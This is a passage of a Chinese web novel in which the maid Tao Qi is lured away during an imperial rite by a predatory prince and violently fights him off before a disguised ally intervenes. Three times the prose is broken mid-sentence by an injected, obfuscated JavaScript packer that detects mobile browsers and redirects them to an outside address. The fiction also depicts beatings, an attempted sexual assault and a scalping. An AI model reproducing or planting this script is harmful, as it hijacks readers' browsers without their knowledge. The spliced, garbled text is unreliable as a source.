宋无忌以往赴宫宴不都是带两名内宦来的吗？怎么这回也同他一样带了几个美婢？莫不是转性儿了？此人穷凶极恶，本王还是不要招惹得好，不过那名侍婢可真正点啊，是本王没尝过的类型，也不知，出个高高的价钱，他能不能割爱…… 兖王已经转过去思考这事儿了，宋无忌四人继续往里去。周围也有许多三品以上的大员，见到宋无忌都老老实实地拱手作个揖，打声招呼便了，也不来攀谈，朝野内外不畏惧这尊邪神的，也只有谢阁老了。 “殿门口那位是？”桃七找了个间隙，凑近宋无忌问。 “兖王。” 桃七低声道了句：“真是那个好色王爷。” “如对上此人，你可知该怎么做？”宋无忌问。 “省得的，天潢贵胄，惹不起只好躲了，小的……奴婢有能力自保。” 宋无忌没再提醒什么，转眼间，已经到了常极观之外，再往里过两扇门，才是供奉历代已故皇帝皇后的宗庙，要等小皇帝来了，才会开启。皇帝和太后会带领众位宗室人员和大臣在里头祭祀，乞求祖宗保佑皇帝圣体康健，来年国泰民安，风调雨顺。 而宗室成员以及大臣们带来的随从，只能折返至含元殿的偏室内站着等，根据以往的经验，最起码要三个时辰。 “陛下还没来，你们先去偏殿候着，记住，老老实实呆着。”宋无忌警告地看了桃七一眼，又看了看夏嘶和冬囚，二美婢应了一声“喏”，像是在说会管好桃七不让她惹祸似的。 至于吗？自己又不是缺心眼，这里可是大内禁地，小命不要了吗去惹事？ 交代完了，宋无忌正要离去，兀地不知何处凭空发出“咕噜”一声，不轻的响动，其余三人以及附近经过的大人都听到了，桃七抿了抿嘴，斯斯文文地捂住肚子。 早起就水米未进，马车上晃悠了一路还有点反胃，下了车之后才缓过来点，胃就开始抗议了。 “怎么了？”宋无忌问。 “无事。” “胃心痛？” “？”桃七回忆起自个儿先前嘴碎，半真半假说了一嘴这事儿，他居然记住了。听过的话过耳不忘，心思如此深沉，不愧是摄政王。 “王爷恕罪，奴婢胃里没食，就容易胃叫肠鸣，咽两口气儿下去充一充就好了。”桃七张嘴开始大口大口吞空气。 宋无忌从大袖里取出一个荷包，递给她：“拿着。” 那荷包是粉蓝色的，与桃七这一身衣装十分相衬托，还绣着两只出水的剑荷，亭亭玉立，灼灼其华。 乍一眼，桃七还以为那里头装的是赏银，就跟他在宫门口赏小内宦的一样。喜滋滋地接过来，掂了两下，手感上不像，打开一看，里头居然装着是一支铜黛，一张干净的帕子，还有一包用油纸抱着的东西。展开一看，闻了闻，有调料的辛香味，不是毒药。 啥玩意儿嘛？桃七想问，可递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099875|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给他东西的人已经走了，背影在常极观门口伫立着，他所站的地方，周围一圈无人敢靠近，这就是独属于摄政王的气场。 桃七回到偏殿门口，随着一声高亢悠长的“陛下驾到！”众人向后看去，与此同时，向两边分开。 大岐皇帝陛下的仪仗到了。 十六岁的小皇帝在太常寺官员和一众宫人的簇拥下，仪态端方地向里走来。只见他衣着明黄色绣九条龙丝锦缂丝长袍，腰间系了一圈硕大的玉佩，垂至足踝，头戴十二旒冠冕，看起来又大又重，在这华贵冠冕之下，是一张青稚白皙的脸，甚至比他实际年龄看起来还要小两三岁，一个瘦削的、懵懂的，装作大人的少年。 他身后跟着一位红袍内官，脸孔肉松皮皱，帽子下露出的白发油光水滑，肚子有明显发福。便是如今内侍监的总管刘勍，他是从肃王府起就打小照顾皇帝的，小皇帝从世子成了皇帝，刘内官也跟随入宫照顾他的一应起居。今朝是小皇帝十六岁诞辰，老内监沧老的脸上洋溢着和蔼与喜色。 桃七离得远，只能在含元殿偏殿门口摇摇望一眼，见到百官和宗室向皇帝行大礼，之后由皇帝带领着进了常极观里的宗庙，朱门闭合，就一点也看不到了。 含元殿偏殿内，聚了上百名随主人出行的仆从，规规矩矩站成了一片桩子，桃七和夏冬二婢就在其中。今日负责祭祀事宜的是太常寺，太常寺派出一名署官，并一名内侍省内监一齐管理偏殿内的秩序。 若是从前，桃七不管有没有人盯着，就随便找个墙根蹲着去了，可眼下穿着这么一身，还得顾忌着宫里的规矩，一点也不敢弯腿，只能维持无比端方的姿势站着。好在她在李嬷嬷的魔鬼训练下练就了一双精钢腿，倒是没出一点岔子。 日头高高升起，阳光穿过黄梨木雕花窗格子射入偏殿内，里头近百名侍从渐渐地从安静如鸡到开始松懈，甚至有不太守规矩的年轻人熬不住窃窃私语几句，没等管理秩序的署官来骂，就被边上年长有见识的仆人喝止了。 偏殿的门这时候打开，刘勍带着两个青衣小宦进来，一人手里举着一个托盘，其中一个里头是盘冒着白花花热气的大肉块，另一个放着刀具和碗碟。 “祭祖肉还剩一些，陛下仁心，请各位姑娘公公们享用！”刘勍说道，他的嗓音略显尖细。却没有戏文里那些演太监的戏子们端着的姿态，不仔细听，甚至以为就是个寻常老人的说话声。 众仆下跪：“谢陛下赏赐！” 大岐皇帝每回祭祀祖先，会准备一口大镬，里面光光加了点白水，再由皇帝亲自动手，把整块的太牢——也就是猪、牛、羊肉放进去煮一阵子，甭管它熟没熟，念完祝祷文后，就将白肉捞起来，分给一起参与祭祀的人员“享用”。这样的肉，当然一点也不好吃，半生不熟的，而且泛着股浓烈的腥味。但是每个分到肉的人都得作出受宠若惊的模样来。 和蔼的刘内监吩咐两个小宦开始忙活切肉分肉，还笑盈盈地向众人解释了几句，大概说的是，分食贡肉，此举一是象征皇帝为万民洗手做羹汤，褒扬皇帝的勤勉，二是象征忆苦思甜，从没有滋味的肉里吃出祖先打下江山的艰辛，鼓舞当世来者继续艰苦之路守好基业。 桃七听后，却觉得这两个目的本身就是自相矛盾的，若是皇帝真的勤勉，为何做出来的肉一点也不好吃？若是那肉好吃，那就不是忆苦思甜，而是大快朵颐了。 不过眼下嘛，她得了一小碟子肉，当然是吃得不亦乐乎。 34.计中计少女诱少女 一整块肉煮好了，先是皇帝自己割下一小块，再分给底下的群臣和贵人们。都是金枝玉叶的主儿，当然吃不惯，分肉的小内宦也懂事，每个贵人都只割了薄薄的一小片在碟子里。结果就是一大块肉只受了点皮外伤，剩下了一大半，也不能浪费，那就见者有份呗，拿去分给外头的下人，还能说成是年年有余的好兆头，如此，天下万民都能沐浴陛下的隆恩。 很快，各达官贵人家里的侍女和内宦都分到了一叠肉片。只有个小碟子，连筷子也没有，众人多少都有些嫌弃，不过面上可一点不敢表现出来。虽是仆役，但是能被主子带着入宫的，俱是受宠的，平日里吃穿用度自是不会少。他们举着碟子，互相看几眼，见别人也开始吃了，自己也有样学样。 桃七端起白煮肉，嗅了两下，直接用两根指头捏起来往嘴里送。这可是祭祖的贡肉，原材料当然是最好最新鲜的，美中不足的是滋味寡淡了些。 桃七反应过来，宋无忌给她的荷包里头那包调料，原来是作如此用途的。堂堂皇家祭祀，摄政王竟也会偷奸耍滑，计划往贡肉里加料。桃七略略吃惊，不过给了她又怎样，她再也不敢吃宋无忌给的任何东西了，除非是那个黑色药丸的解药。 刘老内监往堂下看了一圈，发现那位穿粉蓝衣裙的婢子吃得最欢，毫无厌恶之色和扭捏的做派，看起来发自内心地感恩陛下赏赐。老内监感动得无以言表，乐呵呵地走上去，问：“姑娘吃得如此香甜，觉得这肉如何啊？” 桃七停下嘴，抬头看，认得出那身紫红色的内监服，面前这人乃正三品内侍监，而且跟在小皇帝身边进的常极观，一定是太监里的领头羊，回忆起李嬷嬷教导的宫廷仪典，她把盘子端在手心，恭恭敬敬褔了福身子，道了声：“公公万安，陛下亲自煮的贡肉，自是鲜美。” 刘勍见那婢子抬起头，两瓣丹唇盈盈，一对眸瞳皎皎，尤其是两弯不粗细，不浓不淡的柳眉，衬出一副天人之貌。见多了世间美貌女子的大太监当即也怔了一下，笑着问：“姑娘是哪家的？” “奴婢是摄政王家的婢子。” 刘勍本是笑眯眯的，一听她说摄政王，笑容突然泯灭了大半，竟还多了几分忌惮，不过依旧维持着和气，道：“果然是出自高门大户，不同凡响，不同凡响呐。” 不光刘内监，周围的仆役们表情亦是十分精彩，桃七扫视几眼，淡淡一笑，文绉绉道：“王府规矩严，王爷亦常常教导我们感恩皇恩浩荡，这贡肉奴婢自然吃得万分珍视，也是奴婢一同为大岐和陛下祈福的小小心意。” “是是是……”刘内监见她说话漂亮，也附和几声。众仆里头有许多极有眼色的，也一齐道了声：“为大岐和陛下祈福……” 完成了分肉的任务，刘勍领着下头的太监回去了，桃七对这个老内监印象还挺好的。 祭祖流程繁杂，皇帝和众人到达宗庙后，先是迎神，皇帝上香、献酒；再是献礼，皇帝、亲王、重臣依次三跪九叩，先后献上祭品；接下来是饮福受祚，便是分享祭肉的环节；然后念诵祝祷檄文，最后还要送神、撤馔。 常极观内已经传出念诵檄文的声响，看光景，距离结束还剩下一个时辰。 桃七吃下那些肉后，可能是油水太足，有点泛恶心，想转移自己的注意。便拿两个同行的侍婢逗闷子，回头笑眯眯地说：“两位姐姐也在王府当差？为何桃七没见过你们。” 夏嘶和冬囚不动声色地交换了一下视线，一时没有回答桃七。不知是怕坏了宫里的规矩还是不乐意搭理她。 桃七也不尴尬，继续小声问：“方才听王爷说，姐姐们芳名叫夏嘶、冬囚？不知哪位是夏，哪位是冬？还有还有，春秋两位姐姐去哪儿了？一定也是如姐姐们一样的绝妙佳人，我很想见见。” “那两位，姑娘早已见过了。”其中一个小声回道，“奴婢是夏嘶。” 她语气端着高冷，说话一本正经，而且对桃七说话的方式，似乎不是将她当做与自己一般的王府侍婢，而是把她当做了小主子一般。 许是她误会了自己与宋无忌的关系，桃七想。 “见过了？我可半点不记得了。”桃七道，“她们长什么模样？若是夏姐姐提点一二，我一定能回忆起来。” 二美婢又互看一眼，冬囚只是冷冷的不说话，夏嘶笑了一下，低声道：“姑娘自个儿想想吧。” 俩同来的人不是很想理会自己，桃七也不自讨没趣了。兀自思索了起来，她在查爬床侍女案的中途没见过夏冬二位，那也极有可能未见过春秋二位，却在其他地方见过，于是夏嘶才说她“早已见过了”。难道是…… 脑中浮现出那位大半夜将她引去观赏活春宫的穿比甲的婢女。 桃七勾唇笑了笑，心中了然了几分。她自个儿是扯虎皮做大旗，真正的摄政王府侍婢才算是非同凡响。 而冬夏两位，八成也是宋无忌派来的耳报神，专门在入宫期间盯着她的。 这厢桃七与两位姐姐的悄悄话才结束，不远处的偏殿一角，一道属于少女的视线一直笼罩在她们身边。 桃七终于发现了这道目光，正大光明地回头看去。 那少女生得一双小鹿眼，似乎半含泪，脸上无端萦绕着些苍白病弱之态，好一个我见犹怜。一副小家碧玉的气派，身穿轻薄的翡翠色纱衣小裙，在深秋里太单薄了些，不知是不是主子要求这样穿的，所以才作践了自己的身子。她见桃七看了过来，害怕又尴尬地垂下眼睛，两手攥紧了手绢儿，不知所措的模样，似乎心中十分纠结。 桃七转过脑袋，不再看她，就这么等着，终于，在偏殿管事的太监暂时被唤出去的档口，她慢腾腾地走至桃七身边，声如蚊蚋：“这、这位姐姐，可否……借一步说话。” 她的语调怯懦颤抖，眼睛在地面上飘来飘去，不敢抬头看人，显然不习惯做坏事。 “妹妹怎么了？”桃七看过去。发现她是兖王带来的两名女随之一，夏嘶与冬囚也认出来了，双双脸色一变。 那少女生得清丽动人，可惜脸上气色不是很好，还有些畏畏缩缩的，看起来在兖王手底下没过过几天好日子。她十足纠结地说：“我……我月信突然到了，想让姐姐帮帮我。” 桃七眼底闪过一丝异样的光。自己与少女第一次见面，且方才她已听说了自己是宋无忌的人，理应尽量远离以免得罪才是，为何会来求助自己而不求助一同来的兖王的第二位女随？ 一想到那兖王那双三角眼里发出的恶心目光，桃七就一阵手痒。不是发自恶心，心里想的却是好久没揍人了。 “你要我如何帮你呢？”桃七和颜悦色道。 少女露出喜悦之色：“姐姐随我去含元殿西南角的御厕，帮我看看是不是污了衣裤，以免失仪。” 御厕，是皇宫内的茅厕，环境那叫一个优美，四周有花草树木装饰?，且清幽寂静，四周没有其他殿宇，现下又是祭族大典，宫里的内监宫女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133471|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都在常极观里外候着，那里定然是少有人至。 的确是个将人打晕抗走的好地方。 夏嘶道：“为何不让你的同伴陪你去？” “……那位姐姐为人清冷，不喜人搅扰，我不敢去麻烦她。”她的声音听着就快哭出来了，握住了桃七的手臂，摇了两下，“求姐姐陪我去吧。” 夏嘶咄咄逼人道：“看看衣裤，你自己就可以，为何要我们的人陪你？” 那女孩道：“因为我注意到，这位姐姐穿的是长裤，里头一定还有一层女子的裙底小裤，若是我的裤子污了，能否把外面那条换给我……我知道这样的请求很是失礼，还是求姐姐帮我这一次，往后铃儿一定上门送礼感谢姐姐。” 不等夏嘶再说，桃七一口答应：“好，我去。” 自称铃儿的女孩立即绽放出喜色，夏嘶秀眉微皱，抬手按在了那女孩握住桃七手腕的那只手背上。 “没事的，不就是去一趟茅厕吗？”桃七对夏嘶抛了个令人安心的媚眼，“茅厕还能把我吃了吗？” “姑娘在偏殿呆着，我们两个陪她去。”夏嘶说完，不由分说地将女孩的手从桃七腕子上撇了下去。而另一位冬囚，全程一句话也没说，清清冷冷的立着。 桃七略微惊奇，刚才夏嘶在自己腕子上使的力道，几乎都聚集在铃儿的手背，而没有过渡至自己的腕部，这种控制力气的方式，不是一般女子能使出来的，夏嘶八成是个武艺高强的练家子，而且是伪装成普通侍婢带进宫里来。而那位冬囚姐姐，冷冰冰的架子，若换作普通侍婢，日常这幅德性，早已被主人打发走了。二女今日特意被宋无忌带入宫里来，难不成是要防备着什么？ 铃儿被拒绝，心焦道：“可我的裤子若污了，两位姐姐也没有能与我换的。” “我们穿的也是绑腿裤，可以换给你。”夏嘶道。 铃儿没了理由，慌忙摆手：“不、不……” 内侍省看守偏殿的的公公早已回来，这时候咳嗽了两声，用警告的目光看了她们两眼。 那公公早就看她们不满了。若那几个说小话的婢子是宫里头的，他早就罚了，可惜是外头大人带来的，还是摄政王和兖王的人，打狗也得看主人，免得惹得她们的主子不满。 铃儿低下头不敢说话，夏嘶却主动挪步，去到那位公公面前，行礼之后低声说了两句，应该是在说明情况。公公甩了两下拂尘，微微点头，似乎是应允了。夏嘶回到原位，道：“可以了，我们两个陪你去。” “……倒也不用劳烦两位姐……” 话未说完，冬囚瞪了她一眼，眼神杀气腾腾。桃七愈发肯定了她的武艺不凡，不然如何有此等煞气。 铃儿偃旗息鼓，只能在摄政王的两位女随左右钳制下走出了常极观的偏殿。 桃七看着离去的三人，心中纳闷：陛下与一众宗室大臣都在里头祈福，兖王派女随将自己引出去，到底想干什么，难道想把我打晕了带走？可宫里想送出一个人来难如登天，他到底是怎么想的？亦或者，他是要把我引到御厕附近，自己再偷偷溜出来，光天化日之下不顾廉耻，满足他那龌龊的癖好？ 可结果呢？宋无忌的两位“正牌”侍婢同她一起去，还是有功夫的武婢，那兖王和铃儿可讨不到好。 正想着，桃七眼前闪过一片天青色的锦褂。那位方才往他们这边看的内侍公公居然走到了桃七身边，淡淡说：“请姑娘移步片刻，有要事相商。” 35.孤逢不测武斗色王 桃七一时间没有说话，这个变故出乎她的预料。 出于保险，她顺从地问：“公公有何要事？” “是位不可说的贵人相邀，姑娘速速随我去便是了。”那公公神神秘秘地说。 这位贵人，不会就是兖王吧？ 不过他都说了“不可说”了，桃七再问，岂不是显得十分不聪明？ 宫里的内监叫自己去，可不好推脱。目下夏嘶和冬囚都不在，桃七兀自沉吟片刻，道：“我家王爷要我守在此地，若是无故离开，待王爷祭祖结束出来找不见我，会责罚的。” 公公道：“姑娘不必担忧，祭典还有一个时辰，一定能在此之前回来。” “可否问问，那位不可说的贵人，到底是何人？”桃七硬着头皮问道。 “姑娘去了就知道了。”太监不耐烦地甩了两下拂尘，“难道是怕我一个堂堂宫里的五品内侍监害你吗？” 桃七没有法子，入了宫，不能惹事，可事非要来惹她。本想拖到夏嘶和冬囚回来再说，但是算算偏殿与御厕相隔的距离，想来是等不到了。夏冬二位被那铃儿支走，大概也在兖王的计划之内。若铃儿能说动桃七自己去御厕，那皆大欢喜，若不能，就带走其余两位同伴，再由这位太监来对付自己，真是计划缜密，毫无疏漏啊。 为了坑她一介奴婢，设计到这份儿上，至于吗？ “遵命，公公。”桃七笑呵呵地说。 那公公领着桃七出了含元殿的大门，走过百官上朝的空旷殿前广场，常极观的钟声时不时飘远，从远处看去，阔大的广场划过两道孤零零的影子，行了约莫一炷香的功夫，再来到了含元殿外东配殿底部的阶梯入口处，四周古柏、古槐遮掩，几乎阒无一人。 东配殿顶部，有一座小筑，里面坐着两人，一人就是本应在宗庙内祭祖的兖王，此刻正吊儿郎当地坐在石椅子上，他旁边，还有另一位纨绔公子，头戴面纱，额前披发，全脸几乎都遮住了，身上的穿戴倒是俊美贵气，坐着展开手中绘修竹的文人扇。他们突兀又镇定地坐在小筑里，百步之外就是皇帝和文武百官上朝的大殿，他们居然敢！ “傅兄，我就说她不错吧。”兖王指了指桃七。 那位“傅兄”，微微偏过头去，俯视了一眼底下的女子，语气没什么波澜：“的确，值得作为下一次宴游的彩头。” 桃七四处搜寻，发现领自己来的内侍省公公早就不见了踪影。 桃七非但没有惊恐，反而激起了一腔兴奋，她十分豪迈地撸起袖子，拧了两下手腕子，笑眯眯、阴惨惨地说：“二位，处心积虑把我引到这里来，就你们算不怕摄政王，也不怕我桃七的凶名吗？” “宋无忌不过是个异性王，能奈我何？况且区区他的一名侍婢，回头本王补送他十个一百个，他能说什么？”四下无人，兖王丝毫不把宋无忌放在眼里，“桃七又是谁？” 桃七的手骨头渗人地“咔哒”一下，缓缓道：“你们即将下跪磕头求饶的人。” “哼，大言不惭。”兖王举手一挥，身后冒出来五名身着短衣的打手，朝他们吩咐：“把这贱.人给本王拿下，让他跪下来舔本王的鞋底。仔细着些，身子上随意，脸可别弄坏咯。” 说罢，猥琐又得意地笑了两声。 “是。”那五名打手齐声应了句。 桃七脸上空白片刻，下意识就想逃——这下刺激了，打个酒囊饭袋王爷，自己绰绰有余，但是五个内行打手，她也遭不住啊！ 是对面不讲武德的，狠话放早了，先走再说！ “拦住她！”兖王一声令下，那五名打手从小筑一跃而下，将桃七团团围起来！ …… 未几，桃七被架着，扭送登楼，到了猥琐的兖王跟前，男人举起手掌就打了她一巴掌。 “啪”地一声响，桃七往外啐了口带血的唾沫。 “呦呵，点子还挺硬。”兖王的眼神带上了点儿欣赏，“你要是在待会儿也这么硬，本王还真不舍得这么让你死了呢。” 桃七浑身血液凉到了足底板，难怪兖王这时候引自己出来，原来他是想在这里直接…… “你敢！” 桃七又挨了一巴掌，还是原来的位置，两个巴掌印叠着，又红又肿。 兖王眼神阴鸷，续道：“不就是宋无忌吗？他狂什么呀！此地附近本王早就打点好了，没有不长眼的会过来，把你带走的又是宫里的公公，玩儿够了把你杀了随地一埋，谁能查到我头上来？” 桃七发出两下古怪的笑声，露出的牙缝里都带着血。这幅模样，就连兖王也有点倒胃口。 于是，他不再折腾，直起身子，回头说：“傅兄，你来上？我看着。” “不不，还是王爷来吧。这样泼辣的女子，我可不敢动。”男子端的是玩世不恭的语气。从刚刚开始，这位姓傅的花花公子就一直定定坐在石桌前，对桃七的遭遇，既无幸灾乐祸，也无同情。 “那好吧，这把就让本王来尝个鲜，傅兄你看着，可别看到一半又等不及加入啊，哈哈哈哈……”兖王挑了两下眉毛，就要伸手去剥桃七的衣服。 桃七背后只剩下了一个打手，将她的双臂背过去制住，以免被她挣脱，桃七看准了他松懈的时机。在兖王碰到自己的下一秒，整个人往后一仰，后脑勺重重撞击上了打手的鼻子，把他疼得嗷嗷直叫。把握难得的时机，猛地倒跃起身，用她那瘦弱的肩膀往打手的胸窝里死死捣了一下，将他撞出了低矮的栏杆。 “咚！”一声，那名打手落下了阁楼，拍在地面上、只不过两丈的高度，死不了，但是断个骨头那是小事一桩。 一切变故发生在顷刻间，小筑里的人来不及反应。兖王自己离得近，当即怒而大骂，要来捉桃七。 桃七先发制人，手像腰间腰带里一掏，捏着一包东西，揉了一下，揉开了，就向面前扑过来的人撒去。 那包东西化为无数粉末，扑射进兖王的眼睛里：“啊！！！我的眼睛！”他眼泪直流，辛辣刺鼻的味道灌入五官，双臂疯癫地乱七八糟，四处挥打。 桃七毫不留情地出手，一拳把他鼻子打扁了。两条血迹挂了下来。 方才以为已经得手，为了兖王好尽情“享用”猎物，其余四名打手都离开了小筑，在东西南北四个方位背过身去候着，顺便望风。待听得主子被打动静，他们才往小筑里冲去。 桃七又被四面围住，心里想——走不了？擒贼先擒王！ 趁兖王失去视力，桃七绕至他身后，臂膀从后勾住他的脖子，腿向他膝弯处死命一踢，把他踢得跪倒在地，自头顶发髻上拔出一柄削竹刀，锋刃是拇指大小的三角形，抵住了兖王的喉咙。 那下面是明显的一截青筋，正因激动和惊慌而突突跳动。 “都别动！”桃七怒喝！ 四名打手已经迈入小筑，见主人脖子上一柄闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137346|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着寒利光芒的尖刀，顿时不敢再逼近。兖王还在里头哀嚎，眼睛和鼻子里，不断淌出不明液体。 “你给本王下了什么药？”鬼哭狼嚎的咒骂之间，兖王问她。 “你方才说什么来着？”桃七的脸凑到了兖王耳畔，哂笑，“无人知晓我被你带到了这儿，那我在这里把你杀了，同理也无所谓咯。” “你敢！”兖王口齿不清，涕泗横流，腿都发起了抖，“本王可是景夏帝第五子、永和帝的亲叔叔，当、当今圣上太后都不敢把本王怎么样，你一个下贱坯子敢动皇室宗亲，等着被五马分尸吧！” 桃七淡淡地“哦”了一下：“那我现在就带你去常极观里，找皇帝和大臣们，告诉他们，当他们在告慰祖先时，你这个宗室子弟在哪里，做什么事。” “别！” “什么都不干？那就……”一句未了，桃七握着削竹刀的手移到他的发鬓处，手起，刀下，竟是一刀刮下了一层二指头宽的头皮，连着头发，挂在了他耳边，血浆汩汩而下。 “啊啊啊啊！”兖王感到头皮又热又痛，眼睛里都是血，狂叫起来，却被桃七死死按着，动弹不得。 桃七割他一刀，一是警告打手不要轻举妄动，否则自己是会动真格的，二是破了他的相，让他头皮那块地方永远谢顶，看他还好不好意思洋洋得意地出去祸害女子。 至于后面怎么脱身，桃七还真头疼，大不了真拿他做人质，冲出去，腆着脸求宋王八保人好了。 就这么一会儿功夫，身前之人两腿之间淋淋漓漓的，一滩热气升了上来。桃七瞥眼一瞧，那兖王居然失禁了。 “废物么？兖王爷，你这货我今日验过了，一点儿也不行啊，还没过两下手，就这么去了？”桃七玩味哂笑。 “你！你你你……”兖王羞愤得恨不得一头撞死，他在那伙志同道合的狐朋狗友之间，号称夜御百女金枪不倒，可今天在一个婢子这儿受到了奇耻大辱，割他的皮不算，还嗤笑他的能力！ 他挣扎了几下，还是没用，求助的目光看向身后那人：“这贱人怎么力气这么大？傅兄救我！” 桃七都快忘了他还有个同好在一旁瞧热闹，一时之间警惕地注意上他。可那人施施然的模样，似乎眼前若摆着一盏茶，他就会喝起来了，不理会兖王的求助。 “救我！！”兖王脸上鼻涕口水眼泪血水齐流，五颜六色好不精彩，近乎失去的理智，大呼手下救自己。桃七见那四人不安分的架势，眼中发红，遂心中一狠，高高举起那尖刃，竟似乎真是要往兖王脖颈刺去。 “不——！” 就在那尖端偏了一些，刺入兖王琵琶骨下之前，桃七手臂剧烈地一痛，酸麻袭来，不得已放开了兖王，可那兖王居然直接面朝下扑倒在地，“咚”地一声。随即又是“噗通”、“噗通”、“噗通”……”四名打手齐刷刷昏倒在地。 桃七怔然，意识到发生了什么之后，身子剧颤了一下，从头到脚汗毛都竖起来！ 她握紧了尖刀，转身，看向背后那尊从来没动弹过的大佛。 没料到姓傅的这厮竟如此厉害。 他看也不看桃七，轻描淡写地抬起手，在石桌边沿抹了一下，指腹上似乎沾染了什么东西，放在鼻下，嗅了两下，眉头舒展开来莞尔一笑：“井盐、胡椒、丁香、筚拨、豆蔻、干姜……” 他报菜名儿似的报出一串词儿，最后笑着看向桃七：“不是毒啊。” 36.盘中子初入武中境 桃七耳尖，一听他的声音，就分辨出同前头说话时一点也不一样了，见他将额间又长又骚气的头发拨开了，桃七看到了一张黑黄色的糙男人脸，看到了湛然的一双眼，以及眉尾一道不甚明显的刀疤。 揭开伪装，他露出的果然是一张熟悉又欠揍的脸。 “矮黑炭，是你啊。”桃七一半鄙夷，一半兴奋。鄙夷是见到这人自带的情绪，兴奋的点当然是自己又救了。 “矮黑炭是谁？”那人问。 “是你。”桃七指着他。 “我是谁？” “……”桃七拉伸了两下手臂的肌肉，“接下来马上要被我揍的人！” “唔。”陈茂摸了两下下巴，“原来这俏皮话是这么接的啊。” **** 花开两朵，各表一枝。常极观内，专司祭祀的筮官在将龟甲从火炉中取出，小皇帝在上头跪坐着，早已昏昏欲睡，却还强撑着眼皮，聚精会神地观礼。下面的皇亲国戚、达官显贵们也一样。在肃穆的氛围下，不敢表现出半分懒散。 内监从侧面进来，正好宋无忌就在皇帝下面的位置，一个人跪坐着，周围一丈远的地方空空荡荡的，没有大臣。那内监靠在门口，就对着他的侧面，微微俯下身子，用极为轻微的声音在宋无忌身边道：“王爷，已经交上手了。” 宋无忌没有动，搭在膝盖上的食指上下动弹了一下，示意继续说。 “兖王就在去御厕要经过的的东配殿楼顶的小筑上等着呢，奴才走的是树下，没教他看见。” “你做得不错。”男人看着跳大神似的筮官祭舞，轻轻颔首。 内监又道：“只是，那边少有人经过，姑娘千金贵体，势单力薄，不用派人去吗？” “不必，有人在。”宋无忌道。他姿态端正，又兼老成持重，如一支山间老松，跪坐得神清气爽。祭仪全程中，众位老臣或站或跪了两个时辰，都有些受不住。宋无忌仗着而立之年，元气勃发，毫无疲惫之态度。 宋无忌又问：“试出来了吗？” “小的在旁看了半天，”内监道，“姑娘打起人来有两把刷子，但的确不像是会武艺的。” “你没看出来，不代表真的是个废物，”宋无忌说话时嘴唇几乎没有动作。 “都见血了，要这样还没出真本事，那姑娘的心性儿早就超过奴才了，不能够让奴才找着把柄。”太监名为自贬，实为奉承。 “兖王没死吧？” “王爷神机妙算，知道姑娘没有武艺，兖王也不是对手，只是少不了一点皮外伤。奴才来时，还在僵持。”内监在宋无忌旁边，低声传音，语音控制得刚刚好好，只有宋无忌听得见，而其他众臣子，一是没有他地位高，轮不到跪宋无忌旁边，二是本就惧怕摄政王，有意识地远离他，所以二人光天化日之下传音，居然没被任何人发现。 “她还不错，可以试试。”宋无忌定定看着眼前的地砖。 话毕，宋无忌接过太祝传递过来供各人阅读的龟甲。筮官方才说，龟墙经火灼之后，裂纹分为身首足三部分，此次首部平直高昂，身部裂纹以刚健洪润，足部则有动而成阳开豁飘扬，是大吉之兆，象征大岐日后连年欣欣向荣，国祚绵长。 可宋无忌是懂卜卦的，他接过烧制造后还温热的焦黄色龟甲，目光落到绳子缠绕的裂纹处，双目蓦地凝重起来。 他分明看到上面两个大大的符号，诡异而不详。 宋无忌将龟甲递还给筮官，待他往后走下去，还是对那内监道：“晚间宫宴时，一切照旧。” “喏。” *** “你功夫不太行啊。” 含元殿偏殿高台之上，果真如兖王所说，早就被他打点过了，为了他的那点子好事儿，一炷香都已过去，也没有宫里内监和宫女经过。 陈茂靠在小筑的某根柱子上，咬了两下自己的指甲，气定神闲。 “你……你有本事别跑！”桃七扶着石桌子，半趴在上面喘大气。 “方才让我别用内力，又说一人一回合，现在还让我别跑。”陈茂道，“我直接把一双腿一双手臂绑起来送到你手边当沙包好了。技不如人，就要承认，就得练！” 这么会儿功夫，桃七不是被打，就是连他的袍角都摸不到。还把自己累的够呛，的确是技不如人，她无法反驳。 “不打了不打了。”桃七坐下来，捶了两下又酸又胀的胳膊，“你啷个出现在这里？姓宋的知道吗？” 陈茂也过去坐在她身边，走过来的时候，一边目光直勾勾地扫她全身上下，一边目不斜视将地上的几个拌脚货揣到了小筑外头去。 “看看看！老子给你看个够！”桃七被他瞧得十分羞耻，好比男子汉被发小看到换上了女装，她凶悍地说，“想笑就笑！” 桃七今日的装扮于陈茂而言是万分新鲜的了，他坐下来，又把她从头到尾扫视了一遍，做出一个看似风流潇洒的痞笑：“啧啧啧，初整晨妆眉样巧，笑问檀奴，秀色餐多少。” 